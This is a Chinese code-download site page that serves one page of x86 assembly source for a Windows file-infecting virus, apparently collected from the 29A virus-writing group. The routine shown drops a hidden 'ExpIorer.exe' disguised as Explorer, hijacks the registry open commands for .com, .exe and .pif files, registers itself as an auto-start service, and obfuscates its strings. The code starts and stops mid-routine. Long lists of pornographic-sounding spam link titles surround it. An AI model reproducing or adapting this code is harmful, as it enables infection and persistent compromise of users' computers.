亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? 29a-7.003

?? 從29A上收集的病毒源碼
?? 003
?? 第 1 頁 / 共 5 頁
字號:
        cmp     dword ptr [edi], eax
        jne     get_export                      ;must find all since WriteProcessMemory() needed to run host

;-----------------------------------------------------------------------------
;exports must be sorted alphabetically, otherwise GetProcAddress() would fail
;this allows to push addresses onto the stack, and the order is known
;-----------------------------------------------------------------------------

        pop     ecx
        mov     eax, esi
        sub     eax, ecx                        ;Name Pointer Table VA
        shr     eax, 1
        movzx   eax, word ptr [ebp + eax - 4]   ;get export ordinal
        mov     eax, dword ptr [eax * 4 + edx]  ;get export RVA
        add     eax, ebx
        push    eax
        scas    dword ptr [edi]
        cmp     dword ptr [edi], 0
        jne     push_export
        add     edi, dword ptr [edi + 4]
        jmp     edi

dispname        label   near
        db      "Explorer", 0

explabel        label   near
        db      "ExpIorer.exe", 0

expsize equ     0d4h
;RLE-based compressed MZ header, PE header, import table, section table
        dd      11111111110000011100001011100000b
        ;       mmmmmmmmmmz   01mmz   02mmm
        db      'M', 'Z', "gdi32.dll", 'P', 'E', 4ch, 1, 1
        dd      00000110000111100001001010010000b
        ;       z   01mz   03mmz   02r   04m
        db      2, 2ch, 10h, 88h
        dd      00000111110100100001001000111110b
        ;       z   01mmmmr   02z   04mz   07mm
        db      0fh, 3, 0bh, 1, 56h, (offset efishnc_exe - offset efishnc_inf + expsize) and 0ffh, ((efishnc_exe - offset efishnc_inf + expsize + 1000h) shr 8) and 0ffh
        dd      00001001010010001011000010100001b
        ;       z   02r   04mz   05mz   02mz   02
        db      0ch, 40h, 10h
        dd      00000110000101010111100001111100b
        ;       z   01mz   02mr   07mz   03mmm
        db      2, 1, 4, "Arc"
        dd      00001010000101000111100000101001b
        ;       z   02mz   03mz   07mz   01r   02
        db      ((efishnc_codeend - offset efishnc_inf + expsize + 1fffh) and not 0fffh) shr 8, expsize, 2
        dd      10000111000011100001110000110101b
        ;       mz   03mz   03mz   03mz   03r  04
        db      1, 1, 1, 1
        dd      10001110101001100101001111001111b
        ;       mz   07r   04mmz   0ar   0er   0e
        db      2, 8, 10h
        dd      00010110000111000010100001101100b
        ;       z   05mz   03mz   02mz   03r   08
        db      10h, ((efishnc_codeend - offset efishnc_inf + expsize + 1ffh) and not 1ffh) shr 8, 1
        dd      00011110000000000000000000000000b
        ;       z   07m
        db      0e0h
        dd      0
;decompressed data follow.  'X' bytes are set to random value every time
;       db      'M', 'Z'                ;00
;       db      "gdi32.dll", 0          ;02    align 4, filler (overload for dll name and import lookup table RVA)
;       db      'P', 'E', 0, 0          ;0c 00 signature (overload for date/time stamp)
;       dw      14ch                    ;10 04 machine (overload for forwarder chain)
;       dw      1                       ;12 06 number of sections (overload for forwarder chain)
;       dd      2                       ;14 08 date/time stamp (overload for dll name RVA)
;       dd      102ch                   ;18 0c pointer to symbol table (overload for import address table RVA)
;       db      X, X, X, X              ;1c 10 number of symbols
;       dw      88h                     ;20 14 size of optional header
;       dw      30fh                    ;22 16 characteristics
;       dw      10bh                    ;24 18 magic
;       db      X                       ;26 1a major linker
;       db      X                       ;27 1b minor linker
;       dd      0                       ;28 1c size of code (overload for import table terminator)
;       dd      56h                     ;2c 20 size of init data (overload for import name table RVA)
;       dd      0                       ;30 24 size of uninit data (overload for import name table terminator)
;       dd      offset efishnc_exe - offset efishnc_inf + expsize + 1000h
;                                       ;34 28 entry point
;       db      X, X, X, X              ;38 2c base of code
;       dd      0ch                     ;3c 30 base of data (overload for lfanew)
;       dd      400000h                 ;40 34 image base
;       dd      1000h                   ;44 38 section align
;       dd      200h                    ;48 3c file align
;       db      1, X                    ;4c 40 major os
;       db      X, X                    ;4e 42 minor os
;       db      X, X                    ;50 44 major image
;       db      X, X                    ;52 46 minor image
;       dw      4                       ;54 48 major subsys
;       dw      0                       ;56 4a minor subsys (overload for import name table)
;       db      "Arc", 0                ;58 4c reserved (overload for import name table)
;       dd      (aligned size of code)  ;5c 50 size of image
;       dd      expsize                 ;60 54 size of headers
;       dd      0                       ;64 58 checksum
;       dw      2                       ;68 5c subsystem
;       db      X, X                    ;6a 5e dll characteristics
;       dd      1                       ;6c 60 size of stack reserve
;       dd      1                       ;70 64 size of stack commit
;       dd      1                       ;74 68 size of heap reserve
;       dd      1                       ;78 6c size of heap commit
;       db      X, X, X, X              ;7c 70 loader flags
;       dd      2                       ;80 74 number of rva and sizes (ignored by Windows 9x/Me)
;       dd      0                       ;84 78 export
;       db      X, X, X, X              ;88 7c export
;       dd      1008h                   ;8c 80 import
;       dd      0                       ;90 84 import
;       dd      0                       ;94 88 resource
;       db      X, X, X, X              ;98 8c resource
;       db      X, X, X, X, X, X, X, X  ;9c 90 exception
;       db      X, X, X, X, X, X, X, X  ;a4 98 certificate
;       db      X, X, X, X, X, X, X, X  ;ac a0 base reloc (overload for section name)
;       dd      0                       ;b4 a8 debug (overload for virtual size)
;       dd      1000h                   ;b8 ac debug (overload for virtual address)
;       dd      (aligned size of code)  ;bc b0 architecture (overload for file size)
;       dd      1                       ;c0 b4 architecture (overload for file offset)
;       db      X, X, X, X              ;c4 b8 global data (overload for pointer to relocs)
;       db      X, X, X, X              ;c8 bc global data (overload for pointer to line numbers)
;       dd      0                       ;cc c0 tls (overload for reloc table and line numbers)
;       dd      0e0000000h              ;d0 c4 tls (overload for section characteristics)
;                                       ;d4

drop_exp        label   near
        mov     ebx, esp
        lea     esi, dword ptr [edi + offset explabel - offset drop_exp]
        mov     edi, offset efishnc_codeend - offset efishnc_inf + expsize + 1ffh
                                                ;file size must be > end of last section
        push    edi
        xor     ebp, ebp                        ;GMEM_FIXED
        push    ebp
        call    dword ptr [ebx + expcrcstk.pGlobalAlloc]
        push    eax                             ;GlobalFree
        push    ebp                             ;WriteFile
        push    esp                             ;WriteFile
        push    edi                             ;WriteFile
        push    ebp                             ;CreateFileA
        push    FILE_ATTRIBUTE_HIDDEN           ;CreateFileA
        push    CREATE_ALWAYS                   ;CreateFileA
        push    ebp                             ;CreateFileA
        push    ebp                             ;CreateFileA
        push    GENERIC_WRITE                   ;CreateFileA
        push    eax                             ;CreateFileA
        lea     ecx, dword ptr [eax + 7fh]
        push    ecx                             ;MoveFileA
        push    eax                             ;MoveFileA
        push    eax                             ;GetFileAttributesA
        push    ebp                             ;SetFileAttributesA
        push    eax                             ;SetFileAttributesA
        push    ecx                             ;DeleteFileA
        push    ecx                             ;GetTempFileNameA
        push    ebp                             ;GetTempFileNameA
        push    esp                             ;GetTempFileNameA
        push    eax                             ;GetTempFileNameA
        push    edi                             ;GetWindowsDirectoryA
        push    eax                             ;GetWindowsDirectoryA
        xchg    ebp, eax
        call    dword ptr [ebx + expcrcstk.pGetWindowsDirectoryA]
        lea     edi, dword ptr [ebp + eax - 1]
        call    dword ptr [ebx + expcrcstk.pGetTempFileNameA]
        call    dword ptr [ebx + expcrcstk.pDeleteFileA]
        mov     al, '\'
        scas    byte ptr [edi]
        je      skip_slash
        stos    byte ptr [edi]

;-----------------------------------------------------------------------------
;append exe name, assumes name is 0dh bytes long
;-----------------------------------------------------------------------------

skip_slash      label   near
        movs    dword ptr [edi], dword ptr [esi]
        movs    dword ptr [edi], dword ptr [esi]
        movs    dword ptr [edi], dword ptr [esi]
        movs    byte ptr [edi], byte ptr [esi]

;-----------------------------------------------------------------------------
;anti-anti-file dropper - remove read-only attribute, delete file, rename directory
;-----------------------------------------------------------------------------

        call    dword ptr [ebx + expcrcstk.pSetFileAttributesA]
        call    dword ptr [ebx + expcrcstk.pGetFileAttributesA]
        test    al, FILE_ATTRIBUTE_DIRECTORY
        pop     ecx
        pop     eax
        je      skip_move
        push    eax
        push    ecx
        call    dword ptr [ebx + expcrcstk.pMoveFileA]

skip_move       label   near
        call    dword ptr [ebx + expcrcstk.pCreateFileA]
        push    edi                             ;WriteFile
        push    ebx
        xchg    ebp, eax
        call    dword ptr [ebx + expcrcstk.pGetTickCount]
        xchg    ebx, eax
        xor     ecx, ecx

;-----------------------------------------------------------------------------
;decompress MZ header, PE header, section table, import table
;-----------------------------------------------------------------------------

        lods    dword ptr [esi]

copy_bytes      label   near
        movs    byte ptr [edi], byte ptr [esi]

test_bits       label   near
        add     eax, eax
        jb      copy_bytes
        add     eax, eax
        sbb     dl, dl
        and     dl, bl
        shld    ecx, eax, 4
        rol     ebx, cl
        shl     eax, 4
        xchg    edx, eax
        rep     stos byte ptr [edi]
        xchg    edx, eax
        jne     test_bits
        lods    dword ptr [esi]
        test    eax, eax
        jne     test_bits
        mov     cx, offset efishnc_codeend - offset efishnc_inf
        sub     esi, offset drop_exp - offset efishnc_inf
        rep     movs byte ptr [edi], byte ptr [esi]
        pop     ebx
        push    ebp
        call    dword ptr [ebx + expcrcstk.pWriteFile]
        push    ebp
        call    dword ptr [ebx + expcrcstk.pCloseHandle]
        pop     eax
        push    eax
        inc     ebp
        je      load_regdll                     ;allow only 1 copy to run
        push    0
        push    eax
        call    dword ptr [ebx + expcrcstk.pWinExec]

load_regdll     label   near
        sub     esi, offset efishnc_codeend - offset regdll
        push    esi
        call    dword ptr [ebx + expcrcstk.pLoadLibraryA]
        call    init_findmz

;-----------------------------------------------------------------------------
;API CRC table, null terminated
;-----------------------------------------------------------------------------

regcrcbegin     label   near                    ;place < 80h bytes from call for smaller code
        dd      (regcrc_count + 1) dup (0)
regcrcend       label   near
        dd      offset reg_file - offset regcrcend + 4

regval  db      'ExpIorer "%1" %*', 0
regkey  db      "\com"                          ;no regedit.com ;)
        db      "\exe"                          ;must be 4 bytes long
        db      "\pif"                          ;hook all executable suffix (except .scr which passes /S)
reg_file        label   near                    ;must follow immediately
        mov     ebx, esp
        mov     ecx, HKEY_LOCAL_MACHINE         ;can obfuscate and same size if push 5+pop ecx+ror ecx, 1

;-----------------------------------------------------------------------------
;alter Software\Classes in Local Machine and Current User
;because in Windows 2000/XP, Current User values override Local Machine values
;-----------------------------------------------------------------------------

reg_loopouter   label   near
        lea     ebp, dword ptr [edi + offset regval - offset reg_file]
        sub     edi, offset reg_file - offset regkey
        push    (offset reg_file - offset regkey) shr 2
        pop     esi

reg_loopinner   label   near
        push    ecx
        push    "dna"
        push    "mmoc"
        push    "\nep"
        push    "o\ll"
        push    "ehs\"
        push    "elif"
        push    dword ptr [edi]                 ;comfile, exefile, piffile
        push    "sess"
        push    "alc\"
        push    "eraw"
        push    "tfos"                          ;obfuscated ;)
        mov     eax, esp
        push    offset regkey - offset regval
        push    ebp
        push    REG_SZ
        push    eax
        push    ecx
        call    dword ptr [ebx + regcrcstk.rRegSetValueA]
                                                ;RegSetValue creates keys
        add     esp, 2ch                        ;size software\classes\???file\shell\open\command
        scas    dword ptr [edi]
        pop     ecx
        dec     esi
        jne     reg_loopinner
        loopw   reg_loopouter                   ;decrements CX only

;-----------------------------------------------------------------------------
;register as service if NT/2000/XP (recognised but ignored by 9x/Me)
;no start service because code is running already
;-----------------------------------------------------------------------------

        push    SC_MANAGER_CREATE_SERVICE
        push    esi
        push    esi
        call    dword ptr [ebx + regcrcstk.rOpenSCManagerA]
        mov     ecx, dword ptr [ebx + size regcrcstk]
        push    ecx
        push    eax
        push    esi
        push    esi
        push    esi
        push    esi
        push    esi
        push    ecx
        push    esi                             ;SERVICE_ERROR_IGNORE
        push    SERVICE_AUTO_START
        push    SERVICE_WIN32_OWN_PROCESS
        push    esi
        sub     edi, offset reg_file - offset dispname
        push    edi
        add     edi, offset explabel - offset dispname
        push    edi
        push    eax
        call    dword ptr [ebx + regcrcstk.rCreateServiceA]
        push    eax
        call    dword ptr [ebx + regcrcstk.rCloseServiceHandle]
        call    dword ptr [ebx + regcrcstk.rCloseServiceHandle]
        call    dword ptr [ebx + 4 + size regcrcstk + expcrcstk.pGlobalFree]

;-----------------------------------------------------------------------------
;restore host bytes
;-----------------------------------------------------------------------------

        push    eax
        push    esp
        push    decsize
        call    store_restore

orgbytes        label   near

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
91猫先生在线| 伊人夜夜躁av伊人久久| 欧美bbbbb| 91精品国产综合久久福利软件| 亚洲国产一区视频| 欧美日韩视频在线观看一区二区三区| 一区二区在线观看视频| 欧美亚洲一区二区在线| 午夜视频在线观看一区二区三区| 欧美区一区二区三区| 日本成人在线视频网站| 久久婷婷一区二区三区| 成人18视频日本| 亚洲精品国产成人久久av盗摄| 欧美日韩一卡二卡三卡| 韩国精品在线观看| 中文字幕在线一区免费| 欧美色老头old∨ideo| 欧美aaaaaa午夜精品| 精品国产91亚洲一区二区三区婷婷 | 日韩va欧美va亚洲va久久| 欧美刺激午夜性久久久久久久| 国产一区视频导航| 亚洲激情中文1区| 日韩精品一区二区三区视频在线观看 | 欧美一区二区二区| 国产精品99久久久| 一区二区三区欧美| 欧美电影免费提供在线观看| 成人在线综合网站| 婷婷中文字幕一区三区| 国产清纯美女被跳蛋高潮一区二区久久w| 成人黄色在线网站| 日本欧美一区二区在线观看| 国产精品拍天天在线| 91精品国产综合久久久蜜臀图片| 成人精品视频一区二区三区| 日本亚洲三级在线| 亚洲久草在线视频| 久久看人人爽人人| 欧美久久久一区| www.视频一区| 国产在线一区二区综合免费视频| 一区二区视频在线| 国产欧美日韩视频在线观看| 3atv一区二区三区| 色综合色综合色综合| 韩国三级中文字幕hd久久精品| 一区二区免费在线| 国产精品色哟哟| 欧美v日韩v国产v| 欧美色大人视频| 色综合久久综合网97色综合| 国产一区二区电影| 蜜桃久久久久久久| 午夜精品成人在线视频| 亚洲欧美另类在线| 国产精品国产自产拍在线| 精品理论电影在线观看| 在线观看91av| 欧美日韩国产片| 欧美优质美女网站| 色综合色综合色综合色综合色综合 | 国产91综合一区在线观看| 蜜臀91精品一区二区三区| 亚洲电影欧美电影有声小说| 亚洲精品一二三| 综合激情网...| 中文字幕一区二区三区不卡在线| 久久精品夜夜夜夜久久| 欧美r级在线观看| 欧美大片国产精品| 精品区一区二区| 精品精品欲导航| 精品国产人成亚洲区| 日韩精品在线一区| 精品欧美久久久| 久久久久久久网| 久久久久久一二三区| 久久久www免费人成精品| 久久久久久**毛片大全| 中文在线一区二区| 中文字幕在线观看一区二区| 中文字幕在线一区免费| 一区二区三区国产精华| 一二三区精品福利视频| 一本色道久久综合亚洲91 | 欧美电视剧免费全集观看| 精品美女一区二区三区| 国产婷婷精品av在线| 中文字幕一区二区三区视频| 一区二区三区四区亚洲| 婷婷中文字幕综合| 精彩视频一区二区三区| 国产白丝网站精品污在线入口| a4yy欧美一区二区三区| 在线观看免费亚洲| 91精品午夜视频| 久久久久久久久久久久久久久99| 国产精品成人在线观看| 亚洲国产成人精品视频| 日本免费新一区视频| 国产成人av一区二区| 91蜜桃网址入口| 91精品国产黑色紧身裤美女| 久久久91精品国产一区二区三区| 国产精品久久久久三级| 亚洲成人福利片| 国产在线精品不卡| 一本久久a久久精品亚洲| 欧美一区二区在线视频| 中文字幕巨乱亚洲| 亚洲二区在线观看| 国产福利一区二区三区| 在线观看一区二区精品视频| 日韩欧美在线综合网| 国产精品家庭影院| 蜜桃av一区二区在线观看| kk眼镜猥琐国模调教系列一区二区| 欧美亚洲动漫另类| 国产午夜精品在线观看| 亚洲高清三级视频| 成人午夜av电影| 欧美一级二级在线观看| 亚洲蜜臀av乱码久久精品蜜桃| 美女视频免费一区| 欧美系列日韩一区| 中文字幕不卡的av| 蜜桃精品视频在线| 欧美猛男男办公室激情| 国产精品久久久久婷婷二区次| 免费成人你懂的| 欧亚洲嫩模精品一区三区| 国产亚洲婷婷免费| 蜜桃av噜噜一区| 欧美日韩国产不卡| 亚洲色图在线播放| 国产精品1区二区.| 日韩三级中文字幕| 亚洲国产精品欧美一二99| jlzzjlzz国产精品久久| 337p粉嫩大胆色噜噜噜噜亚洲| 亚洲国产精品久久人人爱蜜臀 | av电影在线观看一区| 亚洲综合免费观看高清完整版在线| 亚洲人被黑人高潮完整版| 国产永久精品大片wwwapp| 宅男噜噜噜66一区二区66| 一区二区在线观看视频| 成人ar影院免费观看视频| 国产亚洲污的网站| 国产精品自在在线| 亚洲精品在线观看网站| 日韩国产欧美在线播放| 欧美日韩在线播放一区| 亚洲精品一二三区| 色婷婷亚洲精品| 日韩毛片视频在线看| 成人午夜免费av| 国产三级精品视频| 国产成人午夜视频| 久久久久亚洲蜜桃| 国产东北露脸精品视频| 久久精品一级爱片| 国产成人亚洲综合a∨猫咪| 久久免费美女视频| 国产乱码精品一区二区三区忘忧草| 欧美岛国在线观看| 国产在线国偷精品免费看| 久久亚洲精品国产精品紫薇| 精品一区二区三区香蕉蜜桃| 精品毛片乱码1区2区3区 | 亚洲一区电影777| 欧美吞精做爰啪啪高潮| 亚洲成人在线观看视频| 欧美日韩精品专区| 日韩av成人高清| 日韩三级av在线播放| 美女精品一区二区| 久久综合九色综合欧美98| 国产91精品久久久久久久网曝门| 欧美激情综合网| 91欧美一区二区| 亚洲国产人成综合网站| 日韩精品在线一区二区| 国产成人av电影在线| 中文字幕一区二区三区不卡| 欧美日韩中文字幕一区二区| 日本美女一区二区三区视频| 欧美精品一区二区三区视频 | 麻豆精品视频在线观看视频| 精品国产露脸精彩对白| 成人不卡免费av| 性做久久久久久免费观看欧美| 日韩午夜在线播放| 岛国精品在线播放| 亚洲电影第三页| 国产日韩欧美综合在线| 在线欧美日韩国产| 久久69国产一区二区蜜臀|